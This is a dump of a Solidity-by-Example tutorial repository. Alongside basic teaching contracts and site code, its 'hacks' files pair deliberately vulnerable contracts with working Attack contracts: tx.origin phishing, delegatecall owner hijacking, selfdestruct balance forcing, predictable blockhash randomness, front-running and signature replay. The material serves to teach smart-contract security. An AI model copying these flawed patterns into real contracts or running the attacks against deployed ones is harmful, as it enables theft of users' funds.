"Failed to send Ether"); 31 | } 32 | 33 | // Function to transfer Ether from this contract to address from input 34 | function transfer(address payable _to, uint _amount) public { 35 | // Note that "to" is declared as payable 36 | (bool success, ) = _to.call{value: _amount}(""); 37 | require(success, "Failed to send Ether"); 38 | } 39 | } 40 | -------------------------------------------------------------------------------- /src/pages/array/Array.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.10; 3 | 4 | contract Array { 5 | // Several ways to initialize an array 6 | uint[] public arr; 7 | uint[] public arr2 = [1, 2, 3]; 8 | // Fixed sized array, all elements initialize to 0 9 | uint[10] public myFixedSizeArr; 10 | 11 | function get(uint i) public view returns (uint) { 12 | return arr[i]; 13 | } 14 | 15 | // Solidity can return the entire array. 16 | // But this function should be avoided for 17 | // arrays that can grow indefinitely in length. 18 | function getArr() public view returns (uint[] memory) { 19 | return arr; 20 | } 21 | 22 | function push(uint i) public { 23 | // Append to array 24 | // This will increase the array length by 1. 25 | arr.push(i); 26 | } 27 | 28 | function pop() public { 29 | // Remove last element from array 30 | // This will decrease the array length by 1 31 | arr.pop(); 32 | } 33 | 34 | function getLength() public view returns (uint) { 35 | return arr.length; 36 | } 37 | 38 | function remove(uint index) public { 39 | // Delete does not change the array length. 40 | // It resets the value at index to it's default value, 41 | // in this case 0 42 | delete arr[index]; 43 | } 44 | 45 | function examples() external { 46 | // create array in memory, only fixed size can be created 47 | uint[] memory a = new uint[](5); 48 | } 49 | } 50 | -------------------------------------------------------------------------------- /src/components/Header.tsx: -------------------------------------------------------------------------------- 1 | import React from "react" 2 | import { useAppContext, Theme } from "../contexts/AppContext" 3 | import styles from "./Header.module.css" 4 | import logoLight from "./logo.png" 5 | import logoDark from "./logo-dark.png" 6 | import modeLight from "./mode-light.png" 7 | import modeDark from "./mode-dark.png" 8 | 9 | function Header() { 10 | const { state, setTheme } = useAppContext() 11 | 12 | let logo = state.theme === "dark" ? logoDark : logoLight 13 | 14 | function onClickTheme(theme: Theme) { 15 | setTheme(theme) 16 | } 17 | 18 | // NOTE: need to use links for versions so that react-snap can crawl 19 | return ( 20 |
21 | 22 | logo 23 | 24 | 25 |

26 | Solidity by Example 27 | 28 |
29 |
version 0.8.10
30 |
31 |

32 | 33 | {state.theme === "dark" ? ( 34 | light mode onClickTheme("light")} 39 | /> 40 | ) : ( 41 | dark mode onClickTheme("dark")} 46 | /> 47 | )} 48 |
49 | ) 50 | } 51 | 52 | export default Header 53 | -------------------------------------------------------------------------------- /src/pages/hacks/signature-replay/SigReplay.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.10; 3 | pragma experimental ABIEncoderV2; 4 | 5 | import "github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v4.5/contracts/utils/cryptography/ECDSA.sol"; 6 | 7 | contract MultiSigWallet { 8 | using ECDSA for bytes32; 9 | 10 | address[2] public owners; 11 | 12 | constructor(address[2] memory _owners) payable { 13 | owners = _owners; 14 | } 15 | 16 | function deposit() external payable {} 17 | 18 | function transfer( 19 | address _to, 20 | uint _amount, 21 | bytes[2] memory _sigs 22 | ) external { 23 | bytes32 txHash = getTxHash(_to, _amount); 24 | require(_checkSigs(_sigs, txHash), "invalid sig"); 25 | 26 | (bool sent, ) = _to.call{value: _amount}(""); 27 | require(sent, "Failed to send Ether"); 28 | } 29 | 30 | function getTxHash(address _to, uint _amount) public view returns (bytes32) { 31 | return keccak256(abi.encodePacked(_to, _amount)); 32 | } 33 | 34 | function _checkSigs(bytes[2] memory _sigs, bytes32 _txHash) 35 | private 36 | view 37 | returns (bool) 38 | { 39 | bytes32 ethSignedHash = _txHash.toEthSignedMessageHash(); 40 | 41 | for (uint i = 0; i < _sigs.length; i++) { 42 | address signer = ethSignedHash.recover(_sigs[i]); 43 | bool valid = signer == owners[i]; 44 | 45 | if (!valid) { 46 | return false; 47 | } 48 | } 49 | 50 | return true; 51 | } 52 | } 53 | -------------------------------------------------------------------------------- /src/pages/hacks/phishing-with-tx-origin/TxOrigin.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.10; 3 | 4 | /* 5 | Wallet is a simple contract where only the owner should be able to transfer 6 | Ether to another address. Wallet.transfer() uses tx.origin to check that the 7 | caller is the owner. Let's see how we can hack this contract 8 | */ 9 | 10 | /* 11 | 1. Alice deploys Wallet with 10 Ether 12 | 2. Eve deploys Attack with the address of Alice's Wallet contract. 13 | 3. Eve tricks Alice to call Attack.attack() 14 | 4. Eve successfully stole Ether from Alice's wallet 15 | 16 | What happened? 17 | Alice was tricked into calling Attack.attack(). Inside Attack.attack(), it 18 | requested a transfer of all funds in Alice's wallet to Eve's address. 19 | Since tx.origin in Wallet.transfer() is equal to Alice's address, 20 | it authorized the transfer. The wallet transferred all Ether to Eve. 21 | */ 22 | 23 | contract Wallet { 24 | address public owner; 25 | 26 | constructor() payable { 27 | owner = msg.sender; 28 | } 29 | 30 | function transfer(address payable _to, uint _amount) public { 31 | require(tx.origin == owner, "Not owner"); 32 | 33 | (bool sent, ) = _to.call{value: _amount}(""); 34 | require(sent, "Failed to send Ether"); 35 | } 36 | } 37 | 38 | contract Attack { 39 | address payable public owner; 40 | Wallet wallet; 41 | 42 | constructor(Wallet _wallet) { 43 | wallet = Wallet(_wallet); 44 | owner = payable(msg.sender); 45 | } 46 | 47 | function attack() public { 48 | wallet.transfer(owner, address(wallet).balance); 49 | } 50 | } 51 | -------------------------------------------------------------------------------- /package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "solidity-example", 3 | "version": "0.1.0", 4 | "private": true, 5 | "homepage": "https://web3dao-cn.github.io/solidity-example", 6 | "dependencies": { 7 | "highlight.js": "^11.4.0", 8 | "react": "^17.0.2", 9 | "react-dom": "^17.0.2", 10 | "react-helmet": "^6.1.0", 11 | "react-router-dom": "^6.2.1", 12 | "react-scripts": "^5.0.0", 13 | "typescript": "^4.3.2" 14 | }, 15 | "scripts": { 16 | "start": "react-scripts start", 17 | "build": "react-scripts build", 18 | "postbuild": "npm run lint && react-snap", 19 | "eject": "react-scripts eject", 20 | "predeploy": "npm run build", 21 | "deploy": "gh-pages -d build", 22 | "md-to-react": "node scripts/md-to-react.js", 23 | "lint": "prettier --write src" 24 | }, 25 | "eslintConfig": { 26 | "extends": "react-app" 27 | }, 28 | "browserslist": [ 29 | ">0.2%", 30 | "not dead", 31 | "not ie <= 11", 32 | "not op_mini all" 33 | ], 34 | "devDependencies": { 35 | "@types/highlight.js": "^9.12.4", 36 | "@types/marked": "^4.0.1", 37 | "@types/mustache": "^4.1.2", 38 | "@types/node": "^17.0.10", 39 | "@types/react": "^17.0.38", 40 | "@types/react-dom": "^17.0.11", 41 | "@types/react-helmet": "^6.1.5", 42 | "@types/react-router-dom": "^5.3.3", 43 | "gh-pages": "^3.2.3", 44 | "highlightjs-solidity": "^2.0.3", 45 | "marked": "^4.0.10", 46 | "mustache": "^4.2.0", 47 | "prettier": "^2.5.1", 48 | "prettier-plugin-solidity": "^1.0.0-beta.19", 49 | "react-snap": "^1.23.0", 50 | "ts-node": "^10.4.0", 51 | "typescript": "^4.5.5", 52 | "yaml": "^1.10.2" 53 | } 54 | } 55 | -------------------------------------------------------------------------------- /src/pages/interface/Interface.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.10; 3 | 4 | contract Counter { 5 | uint public count; 6 | 7 | function increment() external { 8 | count += 1; 9 | } 10 | } 11 | 12 | interface ICounter { 13 | function count() external view returns (uint); 14 | 15 | function increment() external; 16 | } 17 | 18 | contract MyContract { 19 | function incrementCounter(address _counter) external { 20 | ICounter(_counter).increment(); 21 | } 22 | 23 | function getCount(address _counter) external view returns (uint) { 24 | return ICounter(_counter).count(); 25 | } 26 | } 27 | 28 | // Uniswap example 29 | interface UniswapV2Factory { 30 | function getPair(address tokenA, address tokenB) 31 | external 32 | view 33 | returns (address pair); 34 | } 35 | 36 | interface UniswapV2Pair { 37 | function getReserves() 38 | external 39 | view 40 | returns ( 41 | uint112 reserve0, 42 | uint112 reserve1, 43 | uint32 blockTimestampLast 44 | ); 45 | } 46 | 47 | contract UniswapExample { 48 | address private factory = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f; 49 | address private dai = 0x6B175474E89094C44Da98b954EedeAC495271d0F; 50 | address private weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; 51 | 52 | function getTokenReserves() external view returns (uint, uint) { 53 | address pair = UniswapV2Factory(factory).getPair(dai, weth); 54 | (uint reserve0, uint reserve1, ) = UniswapV2Pair(pair).getReserves(); 55 | return (reserve0, reserve1); 56 | } 57 | } 58 | -------------------------------------------------------------------------------- /src/pages/tests/echidna/TestEchidna.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.10; 3 | 4 | /* 5 | echidna-test TestEchidna.sol --contract TestCounter 6 | */ 7 | contract Counter { 8 | uint public count; 9 | 10 | function inc() external { 11 | count += 1; 12 | } 13 | 14 | function dec() external { 15 | count -= 1; 16 | } 17 | } 18 | 19 | contract TestCounter is Counter { 20 | function echidna_test_true() public view returns (bool) { 21 | return true; 22 | } 23 | 24 | function echidna_test_false() public view returns (bool) { 25 | return false; 26 | } 27 | 28 | function echidna_test_count() public view returns (bool) { 29 | // Here we are testing that Counter.count should always be <= 5. 30 | // Test will fail. Echidna is smart enough to call Counter.inc() more 31 | // than 5 times. 32 | return count <= 5; 33 | } 34 | } 35 | 36 | /* 37 | echidna-test TestEchidna.sol --contract TestAssert --check-asserts 38 | */ 39 | contract TestAssert { 40 | // Asserts not detected in 0.8. 41 | // Switch to 0.7 to test assertions 42 | function test_assert(uint _i) external { 43 | assert(_i < 10); 44 | } 45 | 46 | // More complex example 47 | function abs(uint x, uint y) private pure returns (uint) { 48 | if (x >= y) { 49 | return x - y; 50 | } 51 | return y - x; 52 | } 53 | 54 | function test_abs(uint x, uint y) external { 55 | uint z = abs(x, y); 56 | if (x >= y) { 57 | assert(z <= x); 58 | } else { 59 | assert(z <= y); 60 | } 61 | } 62 | } 63 | -------------------------------------------------------------------------------- /src/pages/hacks/front-running/FrontRunning.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.10; 3 | 4 | /* 5 | Alice creates a guessing game. 6 | You win 10 ether if you can find the correct string that hashes to the target 7 | hash. Let's see how this contract is vulnerable to front running. 8 | */ 9 | 10 | /* 11 | 1. Alice deploys FindThisHash with 10 Ether. 12 | 2. Bob finds the correct string that will hash to the target hash. ("Ethereum") 13 | 3. Bob calls solve("Ethereum") with gas price set to 15 gwei. 14 | 4. Eve is watching the transaction pool for the answer to be submitted. 15 | 5. Eve sees Bob's answer and calls solve("Ethereum") with a higher gas price 16 | than Bob (100 gwei). 17 | 6. Eve's transaction was mined before Bob's transaction. 18 | Eve won the reward of 10 ether. 19 | 20 | What happened? 21 | Transactions take some time before they are mined. 22 | Transactions not yet mined are put in the transaction pool. 23 | Transactions with higher gas price are typically mined first. 24 | An attacker can get the answer from the transaction pool, send a transaction 25 | with a higher gas price so that their transaction will be included in a block 26 | before the original. 27 | */ 28 | 29 | contract FindThisHash { 30 | bytes32 public constant hash = 31 | 0x564ccaf7594d66b1eaaea24fe01f0585bf52ee70852af4eac0cc4b04711cd0e2; 32 | 33 | constructor() payable {} 34 | 35 | function solve(string memory solution) public { 36 | require(hash == keccak256(abi.encodePacked(solution)), "Incorrect answer"); 37 | 38 | (bool sent, ) = msg.sender.call{value: 10 ether}(""); 39 | require(sent, "Failed to send Ether"); 40 | } 41 | } 42 | -------------------------------------------------------------------------------- /src/pages/sending-ether/SendingEther.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.10; 3 | 4 | contract ReceiveEther { 5 | /* 6 | Which function is called, fallback() or receive()? 7 | 8 | send Ether 9 | | 10 | msg.data is empty? 11 | / \ 12 | yes no 13 | / \ 14 | receive() exists? fallback() 15 | / \ 16 | yes no 17 | / \ 18 | receive() fallback() 19 | */ 20 | 21 | // Function to receive Ether. msg.data must be empty 22 | receive() external payable {} 23 | 24 | // Fallback function is called when msg.data is not empty 25 | fallback() external payable {} 26 | 27 | function getBalance() public view returns (uint) { 28 | return address(this).balance; 29 | } 30 | } 31 | 32 | contract SendEther { 33 | function sendViaTransfer(address payable _to) public payable { 34 | // This function is no longer recommended for sending Ether. 35 | _to.transfer(msg.value); 36 | } 37 | 38 | function sendViaSend(address payable _to) public payable { 39 | // Send returns a boolean value indicating success or failure. 40 | // This function is not recommended for sending Ether. 41 | bool sent = _to.send(msg.value); 42 | require(sent, "Failed to send Ether"); 43 | } 44 | 45 | function sendViaCall(address payable _to) public payable { 46 | // Call returns a boolean value indicating success or failure. 47 | // This is the current recommended method to use. 48 | (bool sent, bytes memory data) = _to.call{value: msg.value}(""); 49 | require(sent, "Failed to send Ether"); 50 | } 51 | } 52 | -------------------------------------------------------------------------------- /src/pages/app/erc20/ERC20.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.10; 3 | 4 | import "./IERC20.sol"; 5 | 6 | contract ERC20 is IERC20 { 7 | uint public totalSupply; 8 | mapping(address => uint) public balanceOf; 9 | mapping(address => mapping(address => uint)) public allowance; 10 | string public name = "Solidity by Example"; 11 | string public symbol = "SOLBYEX"; 12 | uint8 public decimals = 18; 13 | 14 | function transfer(address recipient, uint amount) external returns (bool) { 15 | balanceOf[msg.sender] -= amount; 16 | balanceOf[recipient] += amount; 17 | emit Transfer(msg.sender, recipient, amount); 18 | return true; 19 | } 20 | 21 | function approve(address spender, uint amount) external returns (bool) { 22 | allowance[msg.sender][spender] = amount; 23 | emit Approval(msg.sender, spender, amount); 24 | return true; 25 | } 26 | 27 | function transferFrom( 28 | address sender, 29 | address recipient, 30 | uint amount 31 | ) external returns (bool) { 32 | allowance[sender][msg.sender] -= amount; 33 | balanceOf[sender] -= amount; 34 | balanceOf[recipient] += amount; 35 | emit Transfer(sender, recipient, amount); 36 | return true; 37 | } 38 | 39 | function mint(uint amount) external { 40 | balanceOf[msg.sender] += amount; 41 | totalSupply += amount; 42 | emit Transfer(address(0), msg.sender, amount); 43 | } 44 | 45 | function burn(uint amount) external { 46 | balanceOf[msg.sender] -= amount; 47 | totalSupply -= amount; 48 | emit Transfer(msg.sender, address(0), amount); 49 | } 50 | } 51 | -------------------------------------------------------------------------------- /src/pages/super/Super.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.10; 3 | 4 | /* Inheritance tree 5 | A 6 | / \ 7 | B C 8 | \ / 9 | D 10 | */ 11 | 12 | contract A { 13 | // This is called an event. You can emit events from your function 14 | // and they are logged into the transaction log. 15 | // In our case, this will be useful for tracing function calls. 16 | event Log(string message); 17 | 18 | function foo() public virtual { 19 | emit Log("A.foo called"); 20 | } 21 | 22 | function bar() public virtual { 23 | emit Log("A.bar called"); 24 | } 25 | } 26 | 27 | contract B is A { 28 | function foo() public virtual override { 29 | emit Log("B.foo called"); 30 | A.foo(); 31 | } 32 | 33 | function bar() public virtual override { 34 | emit Log("B.bar called"); 35 | super.bar(); 36 | } 37 | } 38 | 39 | contract C is A { 40 | function foo() public virtual override { 41 | emit Log("C.foo called"); 42 | A.foo(); 43 | } 44 | 45 | function bar() public virtual override { 46 | emit Log("C.bar called"); 47 | super.bar(); 48 | } 49 | } 50 | 51 | contract D is B, C { 52 | // Try: 53 | // - Call D.foo and check the transaction logs. 54 | // Although D inherits A, B and C, it only called C and then A. 55 | // - Call D.bar and check the transaction logs 56 | // D called C, then B, and finally A. 57 | // Although super was called twice (by B and C) it only called A once. 58 | 59 | function foo() public override(B, C) { 60 | super.foo(); 61 | } 62 | 63 | function bar() public override(B, C) { 64 | super.bar(); 65 | } 66 | } 67 | -------------------------------------------------------------------------------- /src/pages/new-contract/NewContract.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.10; 3 | 4 | contract Car { 5 | address public owner; 6 | string public model; 7 | address public carAddr; 8 | 9 | constructor(address _owner, string memory _model) payable { 10 | owner = _owner; 11 | model = _model; 12 | carAddr = address(this); 13 | } 14 | } 15 | 16 | contract CarFactory { 17 | Car[] public cars; 18 | 19 | function create(address _owner, string memory _model) public { 20 | Car car = new Car(_owner, _model); 21 | cars.push(car); 22 | } 23 | 24 | function createAndSendEther(address _owner, string memory _model) public payable { 25 | Car car = (new Car){value: msg.value}(_owner, _model); 26 | cars.push(car); 27 | } 28 | 29 | function create2( 30 | address _owner, 31 | string memory _model, 32 | bytes32 _salt 33 | ) public { 34 | Car car = (new Car){salt: _salt}(_owner, _model); 35 | cars.push(car); 36 | } 37 | 38 | function create2AndSendEther( 39 | address _owner, 40 | string memory _model, 41 | bytes32 _salt 42 | ) public payable { 43 | Car car = (new Car){value: msg.value, salt: _salt}(_owner, _model); 44 | cars.push(car); 45 | } 46 | 47 | function getCar(uint _index) 48 | public 49 | view 50 | returns ( 51 | address owner, 52 | string memory model, 53 | address carAddr, 54 | uint balance 55 | ) 56 | { 57 | Car car = cars[_index]; 58 | 59 | return (car.owner(), car.model(), car.carAddr(), address(car).balance); 60 | } 61 | } 62 | -------------------------------------------------------------------------------- /src/pages/function-modifier/FunctionModifier.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.10; 3 | 4 | contract FunctionModifier { 5 | // We will use these variables to demonstrate how to use 6 | // modifiers. 7 | address public owner; 8 | uint public x = 10; 9 | bool public locked; 10 | 11 | constructor() { 12 | // Set the transaction sender as the owner of the contract. 13 | owner = msg.sender; 14 | } 15 | 16 | // Modifier to check that the caller is the owner of 17 | // the contract. 18 | modifier onlyOwner() { 19 | require(msg.sender == owner, "Not owner"); 20 | // Underscore is a special character only used inside 21 | // a function modifier and it tells Solidity to 22 | // execute the rest of the code. 23 | _; 24 | } 25 | 26 | // Modifiers can take inputs. This modifier checks that the 27 | // address passed in is not the zero address. 28 | modifier validAddress(address _addr) { 29 | require(_addr != address(0), "Not valid address"); 30 | _; 31 | } 32 | 33 | function changeOwner(address _newOwner) public onlyOwner validAddress(_newOwner) { 34 | owner = _newOwner; 35 | } 36 | 37 | // Modifiers can be called before and / or after a function. 38 | // This modifier prevents a function from being called while 39 | // it is still executing. 40 | modifier noReentrancy() { 41 | require(!locked, "No reentrancy"); 42 | 43 | locked = true; 44 | _; 45 | locked = false; 46 | } 47 | 48 | function decrement(uint i) public noReentrancy { 49 | x -= i; 50 | 51 | if (i > 1) { 52 | decrement(i - 1); 53 | } 54 | } 55 | } 56 | -------------------------------------------------------------------------------- /src/components/logo.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 7 | Vector 1 8 | Created with Sketch. 9 | 10 | 11 | 12 | 14 | 16 | 18 | 20 | 22 | 24 | 25 | 26 | 27 | 28 | -------------------------------------------------------------------------------- /src/pages/hacks/randomness/Randomness.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.10; 3 | 4 | /* 5 | NOTE: cannot use blockhash in Remix so use ganache-cli 6 | 7 | npm i -g ganache-cli 8 | ganache-cli 9 | In remix switch environment to Web3 provider 10 | */ 11 | 12 | /* 13 | GuessTheRandomNumber is a game where you win 1 Ether if you can guess the 14 | pseudo random number generated from block hash and timestamp. 15 | 16 | At first glance, it seems impossible to guess the correct number. 17 | But let's see how easy it is win. 18 | 19 | 1. Alice deploys GuessTheRandomNumber with 1 Ether 20 | 2. Eve deploys Attack 21 | 3. Eve calls Attack.attack() and wins 1 Ether 22 | 23 | What happened? 24 | Attack computed the correct answer by simply copying the code that computes the random number. 25 | */ 26 | 27 | contract GuessTheRandomNumber { 28 | constructor() payable {} 29 | 30 | function guess(uint _guess) public { 31 | uint answer = uint( 32 | keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp)) 33 | ); 34 | 35 | if (_guess == answer) { 36 | (bool sent, ) = msg.sender.call{value: 1 ether}(""); 37 | require(sent, "Failed to send Ether"); 38 | } 39 | } 40 | } 41 | 42 | contract Attack { 43 | receive() external payable {} 44 | 45 | function attack(GuessTheRandomNumber guessTheRandomNumber) public { 46 | uint answer = uint( 47 | keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp)) 48 | ); 49 | 50 | guessTheRandomNumber.guess(answer); 51 | } 52 | 53 | // Helper function to check balance 54 | function getBalance() public view returns (uint) { 55 | return address(this).balance; 56 | } 57 | } 58 | -------------------------------------------------------------------------------- /src/components/logo-dark.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 7 | Vector 1 8 | Created with Sketch. 9 | 10 | 11 | 12 | 14 | 16 | 18 | 20 | 22 | 24 | 25 | 26 | 27 | 28 | -------------------------------------------------------------------------------- /src/pages/inheritance/Inheritance.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.10; 3 | 4 | /* Graph of inheritance 5 | A 6 | / \ 7 | B C 8 | / \ / 9 | F D,E 10 | 11 | */ 12 | 13 | contract A { 14 | function foo() public pure virtual returns (string memory) { 15 | return "A"; 16 | } 17 | } 18 | 19 | // Contracts inherit other contracts by using the keyword 'is'. 20 | contract B is A { 21 | // Override A.foo() 22 | function foo() public pure virtual override returns (string memory) { 23 | return "B"; 24 | } 25 | } 26 | 27 | contract C is A { 28 | // Override A.foo() 29 | function foo() public pure virtual override returns (string memory) { 30 | return "C"; 31 | } 32 | } 33 | 34 | // Contracts can inherit from multiple parent contracts. 35 | // When a function is called that is defined multiple times in 36 | // different contracts, parent contracts are searched from 37 | // right to left, and in depth-first manner. 38 | 39 | contract D is B, C { 40 | // D.foo() returns "C" 41 | // since C is the right most parent contract with function foo() 42 | function foo() public pure override(B, C) returns (string memory) { 43 | return super.foo(); 44 | } 45 | } 46 | 47 | contract E is C, B { 48 | // E.foo() returns "B" 49 | // since B is the right most parent contract with function foo() 50 | function foo() public pure override(C, B) returns (string memory) { 51 | return super.foo(); 52 | } 53 | } 54 | 55 | // Inheritance must be ordered from “most base-like” to “most derived”. 56 | // Swapping the order of A and B will throw a compilation error. 57 | contract F is A, B { 58 | function foo() public pure override(A, B) returns (string memory) { 59 | return super.foo(); 60 | } 61 | } 62 | -------------------------------------------------------------------------------- /src/pages/hacks/delegatecall/Delegatecall_1.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.10; 3 | 4 | /* 5 | HackMe is a contract that uses delegatecall to execute code. 6 | It it is not obvious that the owner of HackMe can be changed since there is no 7 | function inside HackMe to do so. However an attacker can hijack the 8 | contract by exploiting delegatecall. Let's see how. 9 | 10 | 1. Alice deploys Lib 11 | 2. Alice deploys HackMe with address of Lib 12 | 3. Eve deploys Attack with address of HackMe 13 | 4. Eve calls Attack.attack() 14 | 5. Attack is now the owner of HackMe 15 | 16 | What happened? 17 | Eve called Attack.attack(). 18 | Attack called the fallback function of HackMe sending the function 19 | selector of pwn(). HackMe forwards the call to Lib using delegatecall. 20 | Here msg.data contains the function selector of pwn(). 21 | This tells Solidity to call the function pwn() inside Lib. 22 | The function pwn() updates the owner to msg.sender. 23 | Delegatecall runs the code of Lib using the context of HackMe. 24 | Therefore HackMe's storage was updated to msg.sender where msg.sender is the 25 | caller of HackMe, in this case Attack. 26 | */ 27 | 28 | contract Lib { 29 | address public owner; 30 | 31 | function pwn() public { 32 | owner = msg.sender; 33 | } 34 | } 35 | 36 | contract HackMe { 37 | address public owner; 38 | Lib public lib; 39 | 40 | constructor(Lib _lib) { 41 | owner = msg.sender; 42 | lib = Lib(_lib); 43 | } 44 | 45 | fallback() external payable { 46 | address(lib).delegatecall(msg.data); 47 | } 48 | } 49 | 50 | contract Attack { 51 | address public hackMe; 52 | 53 | constructor(address _hackMe) { 54 | hackMe = _hackMe; 55 | } 56 | 57 | function attack() public { 58 | hackMe.call(abi.encodeWithSignature("pwn()")); 59 | } 60 | } 61 | -------------------------------------------------------------------------------- /src/pages/hacks/self-destruct/ForceEther.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.10; 3 | 4 | // The goal of this game is to be the 7th player to deposit 1 Ether. 5 | // Players can deposit only 1 Ether at a time. 6 | // Winner will be able to withdraw all Ether. 7 | 8 | /* 9 | 1. Deploy EtherGame 10 | 2. Players (say Alice and Bob) decides to play, deposits 1 Ether each. 11 | 2. Deploy Attack with address of EtherGame 12 | 3. Call Attack.attack sending 5 ether. This will break the game 13 | No one can become the winner. 14 | 15 | What happened? 16 | Attack forced the balance of EtherGame to equal 7 ether. 17 | Now no one can deposit and the winner cannot be set. 18 | */ 19 | 20 | contract EtherGame { 21 | uint public targetAmount = 7 ether; 22 | address public winner; 23 | 24 | function deposit() public payable { 25 | require(msg.value == 1 ether, "You can only send 1 Ether"); 26 | 27 | uint balance = address(this).balance; 28 | require(balance <= targetAmount, "Game is over"); 29 | 30 | if (balance == targetAmount) { 31 | winner = msg.sender; 32 | } 33 | } 34 | 35 | function claimReward() public { 36 | require(msg.sender == winner, "Not winner"); 37 | 38 | (bool sent, ) = msg.sender.call{value: address(this).balance}(""); 39 | require(sent, "Failed to send Ether"); 40 | } 41 | } 42 | 43 | contract Attack { 44 | EtherGame etherGame; 45 | 46 | constructor(EtherGame _etherGame) { 47 | etherGame = EtherGame(_etherGame); 48 | } 49 | 50 | function attack() public payable { 51 | // You can simply break the game by sending ether so that 52 | // the game balance >= 7 ether 53 | 54 | // cast address to payable 55 | address payable addr = payable(address(etherGame)); 56 | selfdestruct(addr); 57 | } 58 | } 59 | -------------------------------------------------------------------------------- /src/pages/primitives/Primitives.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.10; 3 | 4 | contract Primitives { 5 | bool public boo = true; 6 | 7 | /* 8 | uint stands for unsigned integer, meaning non negative integers 9 | different sizes are available 10 | uint8 ranges from 0 to 2 ** 8 - 1 11 | uint16 ranges from 0 to 2 ** 16 - 1 12 | ... 13 | uint256 ranges from 0 to 2 ** 256 - 1 14 | */ 15 | uint8 public u8 = 1; 16 | uint public u256 = 456; 17 | uint public u = 123; // uint is an alias for uint256 18 | 19 | /* 20 | Negative numbers are allowed for int types. 21 | Like uint, different ranges are available from int8 to int256 22 | 23 | int256 ranges from -2 ** 255 to 2 ** 255 - 1 24 | int128 ranges from -2 ** 127 to 2 ** 127 - 1 25 | */ 26 | int8 public i8 = -1; 27 | int public i256 = 456; 28 | int public i = -123; // int is same as int256 29 | 30 | // minimum and maximum of int 31 | int public minInt = type(int).min; 32 | int public maxInt = type(int).max; 33 | 34 | address public addr = 0xCA35b7d915458EF540aDe6068dFe2F44E8fa733c; 35 | 36 | /* 37 | In Solidity, the data type byte represent a sequence of bytes. 38 | Solidity presents two type of bytes types : 39 | 40 | - fixed-sized byte arrays 41 | - dynamically-sized byte arrays. 42 | 43 | The term bytes in Solidity represents a dynamic array of bytes. 44 | It’s a shorthand for byte[] . 45 | */ 46 | bytes1 a = 0xb5; // [10110101] 47 | bytes1 b = 0x56; // [01010110] 48 | 49 | // Default values 50 | // Unassigned variables have a default value 51 | bool public defaultBoo; // false 52 | uint public defaultUint; // 0 53 | int public defaultInt; // 0 54 | address public defaultAddr; // 0x0000000000000000000000000000000000000000 55 | } 56 | --------------------------------------------------------------------------------